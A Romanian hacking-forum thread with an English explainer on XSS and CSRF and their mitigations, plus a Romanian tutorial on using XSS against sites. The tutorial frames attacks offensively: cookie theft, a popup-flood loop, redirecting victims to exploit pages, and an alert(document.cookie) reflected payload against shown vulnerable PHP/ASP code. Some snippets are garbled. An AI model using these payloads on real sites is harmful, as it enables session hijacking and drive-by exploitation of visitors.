Hacking and more...
HaCkinG CulT 		Lista Forumurilor Pe Tematici
Hacking and more... | Reguli | Inregistrare | Login

POZE HACKING AND MORE...

Nu sunteti logat. 		Nou pe simpatie:
Lolalola
Femeie
22 ani
Cluj
cauta Barbat
26 - 80 ani
Hacking and more... / Hacking-ul nostru cel de toate zilele / You know about XSS? How about XSRF/CSRF? Moderat de Shocker
Autor
Mesaj Pagini: 1
sergyu1
Grand Master

Din: Curiozitate
Inregistrat: acum 17 ani
Postari: 266
First, a few words about XSS

You know about cross-site scripting (XSS). It's an attack that injects malicious code into a vulnerable application such that the code executes in the victim's application viewer and, therefore, with the victim's session privileges. In most cases, the viewer is a web browser and the malicious code is written in JavaScript. (XSS won over the arguably more correct abbreviation "CSS" because of confusions with an unrelated term Cascading Style Sheets.)

In theory, the victim's viewer could be another application, rather than a web browser. Imagine a vulnerable website that accepts code as input from the attacker and, without properly filtering on input or output, incorporates the code into a spreadsheet that the victim views in Excel. If the attacker could find a way to supply code that Excel will execute, then we have an instance where an XSS attack targeted a non-web browser. I suppose we could call this a cross-application cross-site scripting (XAXSS) attack. (I wouldn't want to suggest the abbreviation "CAXSS" because then people could confuse it with the term Computer Assisted X-ray Screening System.)

XSS has been discussed for a while. Even though the mechanisms of such attacks are well-understood, XSS vulnerabilities continue to plague many web-based applications. SecurityFix mentioned a number of popular sites that have had XSS holes.

Now, a few words about XSRF/CSRF

An attack mechanism that is not as well-known, but is also very effective in targeting web applications is Cross-Site Request Forgeries (CSRF). (It's sometimes abbreviated as XSRF, although I prefer CSRF acronym, despite the potential for confusing it with the acronym for Canadian Sex Research Forum.) I wasn't as familiar with CSRF techniques as I should have been until I came across the Matasano Chargen posting, which pointed to Jeremiah Grossman's blog, which led me to Chris Shiflett's write-up.

A CSRF attack takes advantage of the web application's ability to act according to the HTTP command it receives from the user. Most web applications do that by design, of course. The trick in a CSRF attack is to get the victim's browser to submit the command of attacker's choice. The victim could receive a link to the targeted web application. The link would contain a GET request, which would cause the application to take action when the victim clicks on the link.

For example, clicking on the following link would cause the victim's Google.com preferences to be reset to Irish language:


This link, crafted by Dwayne Litzenberger, takes advantage of a XSRF weakness in Google.com's handling of user preferences. There are many ways in which the victim or his browser can be tricked into "clicking" on a link like this. For instance, the link could be embedded in a concealed iframe of the website the victim is visiting (as Google Blogoscoped pointed out), or it could be embedded into an img tag on the malicious site. [Update: I simplified the link from its original version per Adrian's advice.]

By submitting the request, the user will command the application to take the appropriate action. If the user is already logged in to the vulnerable application, the action could be taken behind the scenes without the victim's knowledge. For instance, a vulnerable banking site could be tricked into transferring the the victim's money out of his account.

Not only GET requests can be used as CSRF attack vectors. POST requests can be used as well; the task would be a bit more complicated than with GET requests, but JavaScript can help implement such an attack without much difficulty.

Update: ISC reader Adrian wrote us to point out that he uses CSRF as a way of punishing script kiddies poking around his web server. Referring to the Google.com CSRF link mentioned above, he said, "I use it in my apache httpd.conf, as follows:

RedirectMatch .(php|phtml|phps|php3)$

That teaches them to try to access non-existent php files on my webserver  ..not that automated bots would follow redirects...but I occasionally catch some odd fish too  "

How to mitigate CSRF risks?

As a web application developer, you can prevent CSRF vulnerabilities by using some difficult-to-predict token that a proper request needs to include, in addition to the session ID that the browser submits automatically via a cookie. The token could be embedded in the form that the application generates for the user. A CSRF link provided by the attacker would not include the token, and would be invalidated.

Alex Stamos commented on the use of such tokens in response to the Matasano Chargen posting on CSRF:

The token you want to add to protect against XSRF really doesn't have a different function than a cookie. The real problem is that there is no such thing as a browser security model, only a cobbled together set of rules written by the developers that championed features inside of Netscape in 1997. The root issue isn't the assertion made by the cookie, it's that some idiot said "Let's make sure the browser automatically attaches cookies to cross-domain script tags and iFrame POSTs. That would be awesome!"

So we're back to hidden fields in forms and big blobs of crypto in GET parameters along with entropic and protected cookies...

Other ways of mitigating CSRF risks include the use of CAPCHA to check whether the request to an important page was submitted by a human before executing it, keeping the session time-out short, and not relying on cookie-based mechanisms for managing session IDs.

As a user of web applications, consider logging out of sensitive websites, rather than keeping yourself logged in while multi-tasking and browsing the web. Disabling scripting support in your web browser might help to some extent, especially against attacks on POST-driven AJAX application that might be vulnerable to CSRF attacks. However, there are plenty of GET-based CSRF flaws that could be exploited without the use of JavaScript.

For additional information about CSRF, please see Chris Shiflett's write-up, the Cross Site Reference Forgery paper by Jesse Burns, and the Session Riding paper by Thomas Schreiber. (Session Riding is another term for CSRF attacks.)

Update: ISC reader Adam shared this CSRF war story with us: "I created a webpage where students could vote for next homecoming king and queen. I used HTTP-Auth to ensure only students could vote (and only vote once). But the 'submit' page used GET data to process votes. One creative candidate sent an email to a campus mailing list that appeared to be a standard 'click here to cast your ballot' message. But the link he used was to the 'submit' page (with his name in GET statement). So when someone would click on the link in their email, they would prompted by the HTTP-Auth and then be greeted by a 'thank you for voting' page. I let you guess who won..."

_______________________________________
Dont put more idiot questions and search Google...
Today Google is you'r friend search him...
Enter here for other forum for hack with lots of things 

pus acum 17 ani
   
Sm3k3rU_13
Elite Member

Inregistrat: acum 17 ani
Postari: 635
de ce faci topicuri aiurea ? ... de ce copiezi "tutoriale" in engleza si le pui pe forum ? , macar ai bunavointa si chinuiete si traducele ... pun pariu ca sunt multi de aici care nu stiu asa de multa engleza ca sa citeasca un tutorial atat de lung ... si nu o sa inteleaga nici un sfert din tot ce ai copy-paste tu aici

pus acum 17 ani
   
cabron-echo-ebola
Grand Master

Din: root
Inregistrat: acum 17 ani
Postari: 305
are dreptate .... !!!!! pune frate in romana ..ca sunt si d`aia care nu stiu engleza ...si cum zicea puya " eu stiu ceva engleza ..si imi place scoala ..baietii de pe strada asteapta lansarea ... dar daca o sa o dau cu "eu bro wazz up ? " o sa zica .. hoo ba te`ai dilit la cap " asa si cu ala .... ca bine le mai zice puya

NU MAI POSTATI TOPICURI IN ENGLEZA CA SA CAPISI TOTI !!!!

_______________________________________
Hacking is the way ...
pus acum 17 ani
   
Sm3k3rU_13
Elite Member

Inregistrat: acum 17 ani
Postari: 635
cabron-echo-ebola . cabron-echo-ebola ... of of ... ce ne facem noi cu tine ... inteleg ai vrut sa dai dovada de putina atentie k iti pasa putin de forum dar nu trebuia sa mai postezi si tu inca o data ceea ce am postat eu sa ceva asemanator ... deci no offence dude ... sper sa nu se mai repete !

pus acum 17 ani
   
cabron-echo-ebola
Grand Master

Din: root
Inregistrat: acum 17 ani
Postari: 305
ok

_______________________________________
Hacking is the way ...
pus acum 17 ani
   
sergyu1
Grand Master

Din: Curiozitate
Inregistrat: acum 17 ani
Postari: 266
Cine nu Stie sa invete

_______________________________________
Dont put more idiot questions and search Google...
Today Google is you'r friend search him...
Enter here for other forum for hack with lots of things 

pus acum 17 ani
   
survizer
Master of 127.0.0.1

Inregistrat: acum 17 ani
Postari: 178
Uitati aici un tutorial XSS, mult mai bun decat cel postat de sergy1, si e si in limba romana 


Vulnerabilitatile XSS in zilele noastre pot aduce pericole in lumea virtuala .
Dar mai intii toate le luam de la inceput.

Deci abriviatura XSS se descifreaza ca : "Cross Site Scripting". E bine sa-l numim XSS insa nu CSS asa cum CSS a aparut mai devreme si se descifreaza ca : "Cascading Style Sheets" (se foloseste la perfecatarea unei pagine HTML).
Cross inseamna <cruce>, deaceea prima prima litera <C> este schimbata cu <X>.

XSS este o vulnerabilitate pe un server, ce permite introducerea unui script pe pagina HTML de pe un server , ca rezultat , folosirea codului intr-o variabila cu un continut nefiltrat.
Variabila nefiltrata este o variabila inaintea ce va fi folosita in script (de ex: PHP) nu se verifica daca contine simboluri interzise ca : <>,'," si multe altele.

Mai intii de toate continutul (insemnatatea) variabilei se transmite de la pagina HTML, incarcata in browser-ul utilizatorului (user-ului), scriptului PHP (prin operatorii POST sau GET).
Operatorul POST transmite variabilile printr-un masiv, ce nu este aratat pe adresa din browser.
Operatorul GET este identificat pe adresa browser-ului astfel :
Deci scriptului Smile.php se transmit variabilile :$name - cu continutul "News", $file - cu continutul "article" s.m.d
Desigur e mai usor de utilizat operatorul Get, deaceea, hacker-ul salveaza pagina site-ului spart si in adresa.
Asa se sa inetializat ca majoritatea hacker-ilor folosesc XSS numai pentru capatarea cookies (cookies in majoritatea cazurilor pastreaza sesiunirile, in caz daca un hacker are cookies-urile unui alt utilizator de pe forum, asa cum pe forum orice user se inregistreaza, v-a avea control asupra account-ului, clar daca parola nu este descifrata si chiar daca e asa nu e greu sa o descifrezi).
Insa bug-urile XSS nu se opresc doar aici.

Deci ce putem face noi cu ajutorul vulerabilitatilor XSS ?

1-) Scoterea nelimitatelor ferestre (exemplu mai jos), sau mesaje (metoda <confirm> sau <alert> ) ca rezultat oarecare procedura al utilizatorului (tastarea, intrarea pe sait). Sau chiar redirectia pe un alt server.
Incercati sa introduceti urmatorul cod (fara schimbare) intr-un sait vulnerabil:
window.location.href=''http://rohack.110mb.com"
Mai intii testind pe calculatorul personal, incercati urmatorul script. Cream un fail 1.html cu un astfel de continut:
<Html>***
for(i=1;i]0;i++){open('1.html','new'+i);}
si deschidetil in orice browser

2-) Sa imprumutam informatia personala a user-ului. In primul rind aici va fi si putina descriere a cookies-ului (document.cookie),adica si imprumutarea fiind un atribut de securitate a user-ului (pe aceasta tema) . Tot in aceasta tema intra si imprumutarea informatiei despre sistema user-ului si browser-ului (obiectul navigator), IP, istoria site-urilor vazute inainte (obiectul history ca masiv; pagina prezenta history[0], precedenta history[-1], in total pagini history.length) si multe altele. Iata exemplu de un script ce intoarce adresa IP a user-ului in variabila IP si numele computerului in variabila host (este testata in Opera, Mozilla, Mozilla Firefox):

myAddress=java.net.InetAddress.getlocalHost();
myAddress2=java.net.InetAddress.getlocalHost();
host=myAddress.get.HostName();
ip=myAddress2.getHostAddress();

3-) Sunt foarte multe vulnerabilitati ale browser-urilor in care la prelucrarea unui kod cheama DOS-ul, sau permite acces la unele file-uri sau altceva neplacut user-ului. Cele mai des auzite vazute si folosite browser-e (Internet Explorer, NetScape, Mozilla, MozillaFirefox, Opera) sunt vulnerabile. Ce sa facem cu un cod, cynd un user a intrat pe un site cu o vulnerabilitate XSS ? Introducem un exploit (Il putetzi gasi aici in thread-ul exploit-urilor cu denumirea de 0-day) in site-ul unde este vulnerabilitatea XSS astfel :
window.location.href=''EXPLOIT'' (decin intre ghilimele in loc de cuvyntul EXPLOIT folosim adresa unde se afla exploit-ul).
Acum victima cind va intra pe pagina serverului, unde noi am insertat kodul v-a redicta pe pagina-exploit, unde v-a indeplini kodul dat. (In cazul nostru calc.exe)

Atyt... Clara ca posibilitatile XSS-ului sunt ft mari, nu le pot descrie eu singur, vulnerabilitatile sunt tot mai multe si mai multe pe timp ce trece, insa cele mai importante si mai populare vor fi pe un post aparte.


Site Dvs. are probleme cu XSS sau Cross Site Scripting? Acesta este o problema foarte frecvent intilnita la multe siteuri, inclusiv foarte cunoscute de injectare de cod JavaScript in pagini din surse nesigure.

Ce probleme pot aparea? De multe ori este pur si simplu inofensiv insa pot aparea si probleme serioase de gen - atac la conturi inregistrate, redirectari nedorite sau popups si altele. De obicei nu sint probleme cind informatiile nu sint decit afisate si nu exista inregistrare de conturi sau cookies. In aceste cazuri nu prea este mare lucru rau de facut. Insa in alte cazuri problemele pot fi imprevizibile.

In plus, este si o problema de prestigiu pentru un site cunoscut sa se spuna despre el ca are probleme de acest gen. Orice problema cit de mica ar trebui corectata imediat.

Problema apare din nefiltrarea parametrilor transmisi paginilor cind vine vorba de afisari in pagina. In egala masura pot fi afectate pagini ASP sau PHP sau Perl sau orice altceva. Majoritatea exemplelor gasite se refera la afisarea document.cookie...

De exemplu pentru PHP este undeva (pagina.xxx):


Code:

<?php echo "Parametrul dvs. este: ".$_GET['param']; ?>

Sau pentru ASP:

Code:

<% Response.Write "Parametrul dvs. este:" & Request.QueryString("param" %>

Pentru acest caz in mod normal exista link-uri care apeleaza pagina cu diversi parametri. Insa acesti parametri pot fi creati astfel incit sa execute cod JavaScript ca venind din partea site-ului:

Code:

pagina.xxx?param=1%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Asta pur si simplu o sa transforme pagina in:

Parametrul dvs. este:
Code:

1<script>alert(document.cookie)</script>

Insa se pot face mult mai mult decit afisa cookie. De exemplu chema JS de pe alte servere care practic pot modifica pagina in foarte multe feluri. Acestea intervin mai ales cind codul injectat este salvat in baza de date (semnaturi, postari, comentarii, etc.), care o sa fie afisat de fiecare data cind pagina e afisata. Sau se pot modifica sau transmite cookie cu informatii despre sesiune sau informatii statistice, lucruri nedorite pe toate site-urile




_______________________________________
Sa lasam faptele sa vorbeasca....
pus acum 17 ani
   
Pagini: 1  

Mergi la